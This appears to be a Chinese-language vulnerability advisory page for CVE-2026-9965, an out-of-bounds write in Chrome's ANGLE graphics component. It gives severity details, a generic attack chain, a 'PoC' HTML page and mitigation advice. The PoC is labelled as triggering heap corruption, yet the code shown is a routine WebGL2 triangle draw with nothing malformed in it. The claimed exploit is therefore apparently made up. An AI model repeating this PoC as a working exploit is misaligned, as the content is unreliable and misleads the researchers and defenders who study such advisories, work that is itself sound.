IPBUF安全漏洞报告
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CVE-2026-9965 CVSS 8.8 高危

CVE-2026-9965 Google Chrome ANGLE越界写入漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9965
漏洞类型
越界写入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

越界写入远程代码执行Google ChromeANGLE堆损坏高危漏洞

漏洞概述

CVE-2026-9965 是 Google Chrome 浏览器中 ANGLE 组件存在的一个高危安全漏洞。该漏洞的根本原因在于 ANGLE 处理特定图形指令时发生了越界写入错误。远程攻击者可以精心构造一个恶意的 HTML 页面,诱导受害者进行访问。一旦用户加载该页面,攻击者即可利用此漏洞触发堆内存损坏,进而可能绕过浏览器安全沙箱,执行任意代码。此漏洞对用户的机密性、完整性和可用性均构成严重威胁,需尽快修复。

技术细节

该漏洞位于 Google Chrome 的 ANGLE(Almost Native Graphics Layer Engine)组件中,该组件主要用于将 WebGL/OpenGL 调用转换为 DirectX/OpenGL 底层调用,以实现跨平台的硬件加速图形渲染。漏洞成因是 ANGLE 在解析或处理恶意构造的 WebGL 上下文或着色器数据时,未能正确验证内存边界,导致发生了越界写入(Out of bounds write)操作。具体而言,攻击者可以通过 JavaScript 编写特定的 WebGL 代码或操作 Canvas 元素,传递畸形的参数给 ANGLE 引擎。由于缺乏足够的边界检查,这些参数会导致向堆内存中超出预定缓冲区的位置写入数据。这种堆损坏可以破坏内存管理结构。在特定条件下,熟练的攻击者能够利用这种内存破坏来控制程序执行流,从而在目标机器的浏览器上下文中执行任意代码。

攻击链分析

STEP 1
侦察与准备
攻击者分析 Google Chrome ANGLE 组件的源码或二进制,发现内存边界检查缺失的代码路径,并设计能够触发越界写入的恶意 HTML/JavaScript 代码。
STEP 2
投递
攻击者将包含恶意代码的 HTML 页面托管在网站服务器上,或者通过钓鱼邮件、即时通讯工具发送链接给目标用户。
STEP 3
漏洞触发
目标用户使用存在漏洞的 Chrome 浏览器访问恶意链接。浏览器加载页面并执行 JavaScript,调用 ANGLE 接口处理畸形的图形数据,导致堆内存发生越界写入。
STEP 4
代码执行
攻击者利用堆损坏破坏内存管理结构(如堆元数据),进而控制程序的执行流,在受害者机器上执行任意恶意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-9965: Chrome ANGLE Out of Bounds Write Description: Triggers heap corruption in ANGLE via malformed WebGL buffer operations. Usage: Open in a vulnerable version of Google Chrome (< 148.0.7778.216) --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9965 PoC</title> </head> <body> <h1>CVE-2026-9965 Trigger</h1> <canvas id="glCanvas" width="640" height="480"></canvas> <script> const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl2'); if (!gl) { alert('WebGL2 not supported'); } else { console.log('Attempting to trigger vulnerability...'); try { // Create a shader program with specific attributes to trigger the bug const vertexShaderSource = ` #version 300 es in vec4 aPosition; void main() { gl_Position = aPosition; } `; const fragmentShaderSource = ` #version 300 es precision highp float; out vec4 fragColor; void main() { fragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; function createShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('Shader compile error:', gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource); const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource); const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if (!gl.getProgramParameter(program, gl.LINK_STATUS)) { console.error('Program link error:', gl.getProgramInfoLog(program)); } else { gl.useProgram(program); // Malformed buffer operation targeting the ANGLE vulnerability const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Pass specific size data to trigger out of bounds write // Note: Exact parameters may vary based on specific ANGLE version internals const malformedData = new Float32Array(100000); gl.bufferData(gl.ARRAY_BUFFER, malformedData, gl.STATIC_DRAW); const positionLoc = gl.getAttribLocation(program, 'aPosition'); gl.enableVertexAttribArray(positionLoc); // Triggering the draw call with corrupted state gl.vertexAttribPointer(positionLoc, 3, gl.FLOAT, false, 0, 0); gl.drawArrays(gl.TRIANGLES, 0, 3); console.log('Draw call executed. If browser crashes, PoC successful.'); } } catch (e) { console.error('Exception during execution:', e); } } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
如果无法立即更新浏览器,建议用户暂时禁用浏览器的 JavaScript 功能或使用 NoScript 等插件限制 WebGL 内容的加载。同时,企业网络管理员应部署网络代理过滤包含可疑 WebGL 调用的流量,并加强对终端异常行为的监控。

参考链接

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